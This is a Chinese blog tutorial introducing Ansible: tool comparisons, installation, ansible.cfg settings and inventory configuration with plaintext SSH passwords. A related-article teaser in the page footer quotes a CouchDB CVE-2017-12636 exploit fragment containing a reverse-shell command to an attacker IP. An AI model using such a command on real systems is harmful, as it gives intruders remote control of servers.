Ansible自动化运维(一)简介及部署、清单
👨🎓博主简介
🏅云计算领域优质创作者
🏅华为云开发者社区专家博主
🏅阿里云开发者社区专家博主
💊交流社区:运维交流社区 欢迎大家的加入!
🐋 希望大家多多支持,我们一起进步!😄
🎉如果文章对你有帮助的话,欢迎 点赞 👍🏻 评论 💬 收藏 ⭐️ 加关注+💗
文章目录
- 一、自动化运维
- 1.1 什么是自动化运维
- 1.2 运维自动化解决的问题
- 1.3 自动化运维分类工具
- 1.4 自动化运维工具对比
- 二、Ansible
- 2.1 Ansible简介
- 2.2 Ansible的优势
- 2.3 Ansible的架构
- 2.4 Ansible模式
- 2.5 Ansible部署
- 2.5.1 Ansible参数
- 2.5.2 Ansible主机清单
- 2.5.3 主机清单配置规则
- 三、相关文章
一、自动化运维
1.1 什么是自动化运维
自动化运维是指将日常运维的、大量的重复性工作自动化,把手工执行的工作,通过梳理分析,进行逻辑分解,借助平台或工具转为自动化操作。自动化是IT运维工作的升华,IT运维自动化不单纯是一个维护过程,更是一个管理的提升过程,是运维的更高层次,也是未来的发展趋势。
1.2 运维自动化解决的问题
-
项目整体工作效率提升;
-
减少人为误操作;
-
方便信息传递,配置类信息聚合,信息链更完整;
-
事务留痕,方便跟踪,追述;
-
运维工作更加轻松、灵动;
-
提升运维工作价值,管理更多资源,更多服务对象;
1.3 自动化运维分类工具
-
系统安装:PXE,Cobbler
-
应用程序配置:Puppet,Ansible,Saltstack
-
命令执行与控制:Fabric,Func,Ansible
-
程序发布:git/svn(版本管理),Jenkins/Gitlab-runner(持续集成)
1.4 自动化运维工具对比
此处只对比Puppet,Ansible,Saltstack
Puppet | Saltstack | Ansible | |
---|---|---|---|
开发语言 | Ruby语言 | Python语言 | Python语言 |
是否支持客户端 | 有 | 有(salt-ssh无客户端) | 无 |
是否支持二次开发 | 不支持 | 支持 | 支持 |
通信加密 | 标准的SSL加密 | AES加密 | OpenSSH |
平台支持 | AIX , BSD, HP-UX, Linux , Mac OSX , Solaris, Windows | BSD, Linux , Mac OS X , Solaris, Windows | AIX , BSD , HP-UX , Linux , Mac OS X , Solaris |
是否提供web UI | 是 | 是 | 商用提供 |
配置文件语法 | Ruby语法格式 | YAML | YAML |
命令行执行 | 不支持(配置实现) | 支持 | 支持 |
二、Ansible
2.1 Ansible简介
Ansible是一款使用Python开发,模块化,依赖于ssh协议实现的自动化统一配置管理工具,自动化主要体现在Ansible集成了丰富模块以及功能组件,可以通过一个命令完成一系列的操作,进而能减少重复性的工作和维护成本,可以提高工作效率。
官网地址:www.ansible.com
2.2 Ansible的优势
- 安装部署简单(主控端安装ansible,不需要额外安装客户端)
- 基于ssh现有协议实现的 (1.3以上)
- Ansible没有守护进程,不需要启动
- 日志集中在主控端,方便错误排查
- 简单易用,不需要有编程基础
- 通过模块实现,功能强大
2.3 Ansible的架构
1、主机清单Inventory定义Ansible需要操作主机的范围
2、剧本Playbook Ansible的配置文件,将多个任务定义在剧本中,由ansible自动执行
3、核心模块Core Modules连接主机实现操作, 它依赖于具体的模块来做具体的事情
4、自定义模块Custom Modules根据自己的需求编写具体的模块
5、连接插件Connection Plugins用于连接主机 用来连接被管理端
6、插件Plugins完成模块功能的补充
最重要的一点是:Ansible是模块化的,它所有的操作都依赖于模块。
2.4 Ansible模式
Ansible中有两种模式:分别是ad-hoc模式和playbook模式;
-
ad-hoc:简而言之,就是“临时命令”,不会保存;
-
playbook:翻译过来就是剧本,在文件中保存执行的流程;
Ansible与SaltStack对比:
相同点:
1.都是使用python语言开发的
2.都具有二次开发的特性
3.执行命令都支持Ad-hoc模式 (临时命令,执行完就返回)
4.都可以通过YAML格式文件批量执行
5.返回的结果都是JSON数据,便于后续处理
不同点:
1.Ansible部署更简单,没有客户端,而Saltstack有客户端;
2.Saltstack的响应速度要比Ansible更快;Ansible通过SSH协议实现,Saltstack使用了ZeroMQ实现通信;
3.Ansible更加安全,SSH加密传输
4.Saltstack对于Windows支持更友好,Ansible通过Power Shell来管理Windows
5.Ansible维护简单,没有客户端,没有守护进程;saltstack需要有Master和minion,主机要启动一个守护进程。
2.5 Ansible部署
Ansible部署时直接使用阿里云的基础源与epel扩展源可以直接安装;
# 先拉取epel扩展源
wget -O /etc/yum.repos.d/epel.repo http://mirrors.aliyun.com/repo/epel-7.repo# 更新yum源
yum makecache fast# 安装Ansible
yum -y install ansible# 查看Ansible版本
[root@localhost ~]# ansible --versionansible 2.9.27config file = /etc/ansible/ansible.cfgconfigured module search path = [u'/root/.ansible/plugins/modules', u'/usr/share/ansible/plugins/modules']ansible python module location = /usr/lib/python2.7/site-packages/ansibleexecutable location = /usr/bin/ansiblepython version = 2.7.5 (default, Aug 7 2019, 00:51:29) [GCC 4.8.5 20150623 (Red Hat 4.8.5-39)]
2.5.1 Ansible参数
- 常用参数
-m #指定使用的模块名称,不指定默认使用command模块
-a #使用的模块参数,模块的具体动作;指定要执行的具体命令
--syntax-check #验证语法
- 不常用参数
#不常用参数
--version #ansible版本信息
-v #显示详细信息
-i #主机清单文件路径,默认是在/etc/ansible/hosts
-k #提示输入ssh密码,而不使用基于ssh的密钥认证
-C #模拟执行测试,但不会真的执行
-T #执行命令的超时
-f #一次返回几个结果
- ansible帮助命令
ansible-doc #帮助命令
ansible-doc -l #列出所以的模块
ansible-doc 模块名 #查看模块的详细信息
ansible-doc 模块名 -s #查看模块的选项使用说明
2.5.2 Ansible主机清单
主机资产清单,用于定义被管理主机的认证信息, 例如ssh登录用户名、密码以及key相关信息。
# 查看ansible配置文件路径
[root@localhost ~]# rpm -qc ansible
/etc/ansible/ansible.cfg
/etc/ansible/hosts
主机清单位置:默认是/etc/ansible/hosts
ansible -i 指定主机清单
在ansible配置文件ansible.cfg中指定默认的主机清单文件,文件路径:/etc/ansible/ansible.cfg
- ansible.cfg常用配置解析
[defaults]
#inventory = /etc/ansible/hosts #主机列表配置文件
#library = /usr/share/my_modules/ #库文件存放目录
#remote_tmp = ~/.ansible/tmp #临时py文件存放在远程主机目录
#local_tmp = ~/.ansible/tmp #本机的临时执行目录
#forks = 5 #默认并发数
#sudo_user = root #默认sudo用户
#ask_sudo_pass = True #每次执行是否询问sudo的ssh密码
#ask_pass = True #每次执行是否询问ssh密码
#remote_port = 22 #远程主机端口
host_key_checking = False #跳过检查主机指纹
log_path = /var/log/ansible.log #ansible日志#普通用户提权操作
[privilege_escalation]
#become=True
#become_method=sudo
#become_user=root
#become_ask_pass=False
如果不配置host_key_checking
和 log_path
,会导致报错;
不配置host_key_checking
会导致,执行ansible命令的时候报错:
172.16.11.209 | FAILED | rc=-1 >>
Using a SSH password instead of a key is not possible because Host Key checking is enabled and sshpass does not support this. Please add this host's fingerprint to your known_hosts file to manage this host.
配置 log_path
是为了更好的排查问题所在;
2.5.3 主机清单配置规则
(在/etc/ansible/hosts中配置)
主机:
1.可以使用主机名(域名)或IP地址
2.支持主机名通配以及正则表达式
3.支持指定主机定义不同的变量,包括密码,端口号,用户等等
1)单主机配置
# 方式一: ip + 端口 + 用户名 + 用户密码
[root@localhost ansible]# vim /etc/ansible/hosts
[web01]
172.16.11.209 ansible_ssh_port=22 ansible_ssh_user=root ansible_ssh_pass='123123'
[web02]
172.16.10.232 ansible_ssh_port=22 ansible_ssh_user=root ansible_ssh_pass='123123'# 测试:ansible 主机名 -m 指定模块
[root@localhost ansible]# ansible web01 -m ping
172.16.11.209 | SUCCESS => {"ansible_facts": {"discovered_interpreter_python": "/usr/bin/python"}, "changed": false, "ping": "pong"
}[root@localhost ansible]# ansible web02 -m ping
172.16.10.232 | SUCCESS => {"ansible_facts": {"discovered_interpreter_python": "/usr/bin/python"}, "changed": false, "ping": "pong"
}
如果遇到以下报错:
在ansible.cfg配置文件中开启这两个:(将注释注销了)
host_key_checking = False #跳过检查主机指纹
log_path = /var/log/ansible.log #ansible日志
# 方式二: ip + 用户密码
[root@localhost ansible]# vim /etc/ansible/hosts
[web01]
172.16.11.209 ansible_ssh_pass='123123'
[web02]
172.16.10.232 ansible_ssh_pass='123123'# 测试:ansible 主机名 -m 指定模块
[root@localhost ansible]# ansible web01 -m ping
172.16.11.209 | SUCCESS => {"ansible_facts": {"discovered_interpreter_python": "/usr/bin/python"}, "changed": false, "ping": "pong"
}
[root@localhost ansible]# ansible web02 -m ping
172.16.10.232 | SUCCESS => {"ansible_facts": {"discovered_interpreter_python": "/usr/bin/python"}, "changed": false, "ping": "pong"
}#没有定义用户时,默认使用当前登录用户;
2)多主机配置
#IP+端口+密码
[root@localhost ansible]# vim /etc/ansible/hosts
[web]
172.16.11.209 ansible_ssh_port=22 ansible_ssh_user=root ansible_ssh_pass='123123'
172.16.10.232 ansible_ssh_port=22 ansible_ssh_user=root ansible_ssh_pass='123123'# 测试:ansible 主机名 -m 指定模块
[root@localhost ansible]# ansible web -m ping
172.16.10.232 | SUCCESS => {"ansible_facts": {"discovered_interpreter_python": "/usr/bin/python"}, "changed": false, "ping": "pong"
}
172.16.11.209 | SUCCESS => {"ansible_facts": {"discovered_interpreter_python": "/usr/bin/python"}, "changed": false, "ping": "pong"
}
主机组:
1.嵌套 [组名:children]
2.对组定义变量 [组名:vars]
#主机组变量+主机+密码
[root@localhost ansible]# vim /etc/ansible/hosts
[web_group]
172.16.11.209
172.16.10.232[web_group:vars]
ansible_ssh_pass='123123'# 测试:ansible 主机名 -m 指定模块
[root@localhost ansible]# ansible web_group -m ping
172.16.10.232 | SUCCESS => {"ansible_facts": {"discovered_interpreter_python": "/usr/bin/python"}, "changed": false, "ping": "pong"
}
172.16.11.209 | SUCCESS => {"ansible_facts": {"discovered_interpreter_python": "/usr/bin/python"}, "changed": false, "ping": "pong"
}
#定义多组,多组嵌套# webservers组包括两个子组[apache,nginx]
[root@localhost ansible]# vim /etc/ansible/hosts
#定义总ip
[web_group]
172.16.11.209
172.16.10.232
172.16.10.129#apache有两台
[apache]
172.16.11.209
172.16.10.232#nginx有一台
[nginx]
172.16.10.129 ansible_ssh_pass='csnginx123'#定义密码
[apache:vars]
ansible_ssh_pass='123123'[web_group:children]
apache
nginx# 测试:ansible 主机名 -m 指定模块
[root@localhost ansible]# ansible web_group -m ping
172.16.11.209 | SUCCESS => {"ansible_facts": {"discovered_interpreter_python": "/usr/bin/python"}, "changed": false, "ping": "pong"
}
172.16.10.232 | SUCCESS => {"ansible_facts": {"discovered_interpreter_python": "/usr/bin/python"}, "changed": false, "ping": "pong"
}
172.16.10.129 | SUCCESS => {"ansible_facts": {"discovered_interpreter_python": "/usr/bin/python"}, "changed": false, "ping": "pong"
}[root@localhost ansible]# ansible apache -m ping
172.16.11.209 | SUCCESS => {"ansible_facts": {"discovered_interpreter_python": "/usr/bin/python"}, "changed": false, "ping": "pong"
}
172.16.10.232 | SUCCESS => {"ansible_facts": {"discovered_interpreter_python": "/usr/bin/python"}, "changed": false, "ping": "pong"
}[root@localhost ansible]# ansible nginx -m ping
172.16.10.129 | SUCCESS => {"ansible_facts": {"discovered_interpreter_python": "/usr/bin/python"}, "changed": false, "ping": "pong"
}
除了可以使用密码连接,也可以配置秘钥,实现免密登陆,此时主机配置文件中不需要指定密码
1.生成密钥对
[root@localhost ansible]# ssh-keygen2.推送公钥
[root@localhost ansible]# ssh-copy-id 172.16.11.209
[root@localhost ansible]# ssh-copy-id 172.16.10.232
这时候配置hosts时就不需要指定密码了。
三、相关文章
文章标题 | 文章链接 |
---|---|
Ansible自动化运维(一)简介及部署、清单 | https://liucy.blog.csdn.net/article/details/133769300 |
Ansible自动化运维(二)ad-hoc 模式详解 | https://liucy.blog.csdn.net/article/details/133772023 |
Ansible自动化运维(三)Playbook 模式详解 | https://liucy.blog.csdn.net/article/details/133899966 |
Ansible自动化运维(四)jinja2 模板、Roles角色详解 | https://liucy.blog.csdn.net/article/details/133994509 |
相关文章:
![](https://img-blog.csdnimg.cn/913eb04c2155496897ecdc262ae34950.png)
Ansible自动化运维(一)简介及部署、清单
👨🎓博主简介 🏅云计算领域优质创作者 🏅华为云开发者社区专家博主 🏅阿里云开发者社区专家博主 💊交流社区:运维交流社区 欢迎大家的加入! 🐋 希望大家多多支…...
![](https://img-blog.csdnimg.cn/direct/36cc9ab66fd441608bef17354f5c721a.png#pic_center)
深度学习MLP_实战演练使用感知机用于感情识别_keras
目录 (1)why deep learning is game changing?(2)it all started with a neuron(3)Perceptron(4)Perceptron for Binary Classification(5)put it all toget…...
![](https://img-blog.csdnimg.cn/direct/b439c2de2a6248e1a6e7eee66c84f543.png)
[ffmpeg系列 02] 音视频基本知识
一 视频 RGB: AV_PIX_FMT_RGB24, ///< packed RGB 8:8:8, 24bpp, RGBRGB… Y:明亮度, Luminance或luma, 灰阶图, UV:色度,Chrominance或Chroma。 YCbCr: Cb蓝色分量,Cr是红色分量。 取值范围ÿ…...
![](https://www.ngui.cc/images/no-images.jpg)
【ASP.NET Core 基础知识】--目录
介绍 1.1 什么是ASP.NET Core1.2 ASP.NET Core的优势1.3 ASP.NET Core的版本历史 环境设置 2.1 安装和配置.NET Core SDK2.2 使用IDE(Integrated Development Environment):Visual Studio Code / Visual Studio 项目结构 3.1 ASP.NET Core项…...
![](https://img-blog.csdnimg.cn/direct/bf95400f8d604aec8b4796fd3452590c.png)
java数据结构与算法刷题-----LeetCode509. 斐波那契数
java数据结构与算法刷题目录(剑指Offer、LeetCode、ACM)-----主目录-----持续更新(进不去说明我没写完):https://blog.csdn.net/grd_java/article/details/123063846 很多人觉得动态规划很难,但它就是固定套路而已。其实动态规划只…...
![](https://www.ngui.cc/images/no-images.jpg)
vue3 element plus el-table封装(二)
上文是对el-table的基本封装,只能满足最简单的应用,本文主要是在上文的基础上增加slot插槽,并且对col插槽进行拓展,增加通用性 // BaseTable.vue <template><el-table><template v-for"name in tableSlots&…...
![](https://www.ngui.cc/images/no-images.jpg)
cnn lstm结合网络
目录 特征处理例子: cnn 5张图片一组,提取特征后,再给lstm,进时间序列分类。 特征处理例子: import torch# 假设 tensor 是形状为 15x64 的张量 tensor torch.arange(15 * 2).reshape(15, 2) # 生成顺序编号的张量&…...
![](https://img-blog.csdnimg.cn/direct/3401e499da404ff4a4b333fa167aaeef.png)
Ubuntu连接xshell
安装ssh服务器 sudo apt-get install openssh-server 重启ssh sudo service ssh restart 3.启动ssh服务 /etc/init.d/ssh start4.修改文件,允许远程登陆 sudo vi /etc/ssh/sshd_config PermitRootLogin prohibit-password #默认为禁止登录 PermitRootLogin y…...
![](https://img-blog.csdnimg.cn/direct/fa2a001a82b14336904dbaf007410ec8.png)
nginx安装和配置
目录 1.安装 2.配置 3.最小配置说明 4. nginx 默认访问路径 1.安装 使用 epel 源安装 先安装 yum 的扩展包 yum install epel-release -y 再安装 nginx yum install nginx -y 在启动nginx 前先关闭防火墙 systemctl stop firewalld 取消防火墙开机自启 systemctl di…...
![](https://img-blog.csdnimg.cn/img_convert/d5a7434260c1439aeb94a6e5457b72c0.png#pic_center)
【头歌实训】kafka-入门篇
文章目录 第1关:kafka - 初体验任务描述相关知识Kafka 简述Kafka 应用场景Kafka 架构组件kafka 常用命令 编程要求测试说明答案代码 第2关:生产者 (Producer ) - 简单模式任务描述相关知识Producer 简单模式Producer 的开发步骤Ka…...
![](https://img-blog.csdnimg.cn/img_convert/2c671f61d6c16fecdecbde8eaedf0d65.png)
华为云创新中心,引领浙南的数字化腾飞
编辑:阿冒 设计:沐由 县域经济是我国国民经济的重要组成部分,是推动经济社会全面发展的核心力量之一。在推进中国式现代化的征程中,县域经济扮演的角色也越来越重要。 毫无疑问,县域经济的良性发展,需要多方…...
![](https://img-blog.csdnimg.cn/direct/a618dd73c34f4964966bfa94fd3ca915.png)
240101-5步MacOS自带软件无损快速导出iPhone照片
硬件准备: iphone手机Mac电脑数据线 操作步骤: Step 1: 找到并打开MacOS自带的图像捕捉 Step 2: 通过数据线将iphone与电脑连接Step 3:iphone与电脑提示“是否授权“? >>> “是“Step 4:左上角选择自己的设…...
![](https://img-blog.csdnimg.cn/direct/e12e7cd62426494885f45e1c8bd77eb9.png)
github鉴权失败
问题: 如上图所示 git push 时发生了报错,鉴权失败; 解决方案 Settings->Developer settings->Personal access tokens->Generate new token。创建新的访问密钥,勾选repo栏,选择有效期,为密钥命…...
![](https://img-blog.csdnimg.cn/img_convert/bc5bb8a141b12da7157e7a35b5e02195.png)
2023湾区产城创新大会:培育数字化供应链金融新时代
2023年12月26日,由南方报业传媒集团指导,南方报业传媒集团深圳分社主办的“新质新力——2023湾区产城创新大会”在深圳举行。大会聚集里国内产城研究领域的专家学者以及来自产业园区、金融机构、企业的代表,以新兴产业发展为议题,…...
![](https://img-blog.csdnimg.cn/direct/29f1a6b4764543d09bd5887b488e96c2.png)
多维时序 | MATLAB实现SSA-GRU麻雀算法优化门控循环单元多变量时间序列预测
多维时序 | MATLAB实现SSA-GRU麻雀算法优化门控循环单元多变量时间序列预测 目录 多维时序 | MATLAB实现SSA-GRU麻雀算法优化门控循环单元多变量时间序列预测预测效果基本介绍程序设计参考资料 预测效果 基本介绍 1.MATLAB实现SSA-GRU麻雀算法优化门控循环单元多变量时间序列预…...
![](https://img-blog.csdnimg.cn/direct/30910c6cbfb246fcbdf7056a9dc41832.png)
二叉树的前序遍历 、二叉树的最大深度、平衡二叉树、二叉树遍历(leetcode)
目录 一、二叉树的前序遍历 方法一:全局变量记录节点个数 方法二:传址调用记录节点个数 二、二叉树的最大深度 三、平衡二叉树 四、二叉树遍历 一、二叉树的前序遍历 方法一:全局变量记录节点个数 计算树的节点数: 函数TreeSize用于递…...
![](https://img-blog.csdnimg.cn/119d35894f064034bdac7d15e4d99be2.png)
SQL之CASE WHEN用法详解
目录 一、简单CASE WHEN函数:二、CASE WHEN条件表达式函数三、常用场景 场景1:不同状态展示为不同的值场景2:统计不同状态下的值场景3:配合聚合函数做统计场景4:CASE WHEN中使用子查询场景5:经典行转列&am…...
![](https://img-blog.csdnimg.cn/direct/f350fb0075d94edab4bfc87ded5805c8.png)
Ubuntu 18.04搭建RISCV和QEMU环境
前言 因为公司项目代码需要在RISCV环境下测试,因为没有硬件实体,所以在Ubuntu 18.04上搭建了riscv-gnu-toolchain QEMU模拟器环境。 安装riscv-gnu-toolchain riscv-gnu-toolchain可以从GitHub上下载源码编译,地址为:https://…...
![](https://img-blog.csdnimg.cn/img_convert/993ede3303eecb590788cd60fd90e8c7.jpeg)
立足兴趣社交赛道,Soul创新在线社交元宇宙新玩法
近年来,元宇宙概念在全球范围内持续升温,众多企业巨头纷纷加入这场热潮。在一众社交平台中,Soul App凭借其独特的创新理念和技术支撑,致力于打造以Soul为链接的社交元宇宙,成为年轻人心目中的社交新宠。作为新型社交平台的代表,Soul坚持以“不看颜值,看兴趣”为核心,以及持续创…...
![](https://img-blog.csdnimg.cn/img_convert/28e116dc92bdae993bd8d4f3ef3a6d09.jpeg)
Couchdb 任意命令执行漏洞(CVE-2017-12636)
一、环境搭建 二、访问 三、构造payload #!/usr/bin/env python3 import requests import json import base64 from requests.auth import HTTPBasicAuth target http://192.168.217.128:5984 # 目标ip command rb"""sh -i >& /dev/tcp/192.168.217…...
![](https://img-blog.csdnimg.cn/img_convert/9c9dd5fb62cf009fdee1983504ff7ad9.png)
VectorWorks各版本安装指南
VectorWorks下载链接 https://pan.baidu.com/s/1q2WWbePfo-VaGpPtgoWCUQ?pwd0531 1.鼠标右击【VectorWorks 2023(64bit)】压缩包(win11及以上系统需先点击“显示更多选项”)选择【解压到 VectorWorks 2023(64bit)】。 2.打开C盘路径地址【c:\windows\…...
![](https://img-blog.csdnimg.cn/direct/607582f35c034401baf98ff9fa429ba7.png)
【MySQL】数据库中为什么使用B+树不用B树
🍎个人博客:个人主页 🏆个人专栏: 数 据 库 ⛳️ 功不唐捐,玉汝于成 目录 前言 正文 B树的特点和应用场景: B树相对于B树的优势: 结论: 结语 我的其他博客 前言 在数据…...
![](https://img-blog.csdnimg.cn/direct/b63641331229470e81f97b4ae5c3cf1c.png)
微信小程序发送模板消息-详解【有图】
前言 在发送模板消息之前我们要首先搞清楚微信小程序的逻辑是什么,这只是前端的一个demo实现,建议大家在后端处理,前端具体实现:如下图 1.获取小程序Id和密钥 我们注册完微信小程序后,可以在开发设置中看到以下内容&a…...
![](https://img-blog.csdnimg.cn/direct/50a6dbfa2359400f9095d35d8fb6d2cd.png#pic_center)
Easy Rules规则引擎实战
文章目录 简介pom 规则抽象规则Rule基础规则BasicRule事实类Facts:map条件接口动作接口 四种规则定义方式注解方式RuleBuilder 链式Mvel和Spel表达式Yml配置 常用规则类DefaultRuleSpELRule(Spring的表达式注入) 组合规则UnitRuleGroup 规则引…...
![](https://img-blog.csdnimg.cn/img_convert/de2cdedcbd33484dacfb2b8516e65ab1.png)
听GPT 讲Rust源代码--library/alloc(2)
File: rust/library/alloc/src/vec/mod.rs 在Rust源代码中,rust/library/alloc/src/vec/mod.rs这个文件是Rust标准库中的Vec类型的实现文件。Vec是一个动态大小的数组类型,在内存中以连续的方式存储其元素。 具体来说,mod.rs文件中定义了以下…...
![](https://img-blog.csdnimg.cn/direct/1258ce347f324f0fbc30c6c625306981.png)
OSG读取和添加节点学习
之前加载了一个模型,代码是, osg::Group* root new osg::Group(); osg::Node* node new osg::Node(); node osgDB::readNodeFile("tree.osg"); root->addChild(node); root是指向osg::Group的指针; node是 osg:…...
![](https://www.ngui.cc/images/no-images.jpg)
计算机网络技术--念念
选择题: 1.只要遵循GNU通用公共许可证,任何人和机构都可以自由修改和再发布的操作系统是(Linux ) 2.在计算机网络的各种功能中,最基本的、为其他功能提供实现基础的是(实现数据通信 ) 3.计算机网络具有分布式处理功能,…...
![](https://img-blog.csdnimg.cn/direct/777da08484be4aae8b3d019a5f154724.png)
C#_var
文章目录 一、前言二、隐式类型的局部变量2.1 var和匿名类型2.2 批注 三、总结 一、前言 C#中有一个 var 类型,不管什么类型的变量,都可以用它接收,实属懒人最爱了。 我没有了解过它的底层,甚至没看过它的说明文档,也…...
![](https://img-blog.csdnimg.cn/58c018dccc124b28a2cd8e04f57d5904.png)
Linux---进程控制
一、进程创建 fork函数 在Linux中fork函数是非常重要的函数,它从已存在进程中创建一个新进程,原进程为父进程 fork函数的功能: 分配新的内存和内核数据结构给子进程将父进程部分数据结构内容拷贝至子进程添加子进程到系统的进程列表中fork返…...
![](https://img-blog.csdnimg.cn/direct/35a14ca7eed04c759fcbaebd39730cd9.gif#pic_center)
Java注解学习,一文掌握@Autowired 和 @Resource 注解区别
🏆作者简介,普修罗双战士,一直追求不断学习和成长,在技术的道路上持续探索和实践。 🏆多年互联网行业从业经验,历任核心研发工程师,项目技术负责人。 🎉欢迎 👍点赞✍评论…...
![](https://img-blog.csdnimg.cn/20190105100137660.jpg)
wordpress建站怎么样/百度站长收录入口
本文为英国剑桥大学(作者:AlexGuy Kendall)的博士论文,共208页。 深度学习和卷积神经网络已经成为计算机视觉的主要工具,这些技术擅长于使用监督学习从数据中学习复杂的表示。特别地,在一定约束条件下&…...
![](https://img2018.cnblogs.com/blog/1222443/201901/1222443-20190119112123130-1744326230.png)
有什么网站做任务换q币吗/游戏推广赚佣金
此教程是博主亲自帮朋友管理服务器所操作的完整步骤,当然此步骤适合所有的linux-centos系统,不管centos怎么变,linux怎么变,它的这些命令可以说是基本不变的;先说一下博主此教程所用的服务器的环境: 操作系…...
![](/images/no-images.jpg)
用Java做知乎网站/考研培训机构排名前五的机构
安装完成后,创建J2ME项目时显示信息如下: Not all requested modules can be enabled: [StandardModule:org.netbeans.modules.mobility.kit jarFile:C:\Program Files\NetBeans 7.1.1\mobility\modules\org-netbeans-modules-mobility-kit.jar]...
![](/images/no-images.jpg)
宁波seo教程app推广/seo快速排名多少钱
1、阿里云服务器 https://www.aliyun.com/ 2、百度云 https://bce.baidu.com/index.html 3、腾讯云 http://www.qcloud.com/ 4、360云 https://cloud.360.cn/ 5、ucloud https://www.ucloud.cn/ 6、美团云 https://mos.meituan.com/ 7、青云 https://www.qingcloud.com/ 云服务…...
![](/images/no-images.jpg)
北京西站附近的景点有哪些/东莞网站开发公司
说明:ABAP/4 编辑器 "插入" 命令 当使用 ABAP 编辑器的“模式”功能插入程序对象时,自动生成的代码。 字段列表 APP_OBJ EDEDOBJECT CHAR 4 0 EDIC: 编辑器目标 KEYWORD EDKEYWORD CHAR 20 0 ABAP/4 编辑器关键词 POSITION EDPOSITION NUMC 2…...
![](/images/no-images.jpg)
网站视频模块配置参数/下载百度搜索
前 言“C语言程序设计”是计算机专业和理工科各类专业重要的公共基础课程之一。C语言功能强大,使用灵活方便,移植性强,兼有高级编程语言和低级编程语言特点,利用C语言可以编写系统软件和各类应用软件。“C语言程序设计”是一门实践…...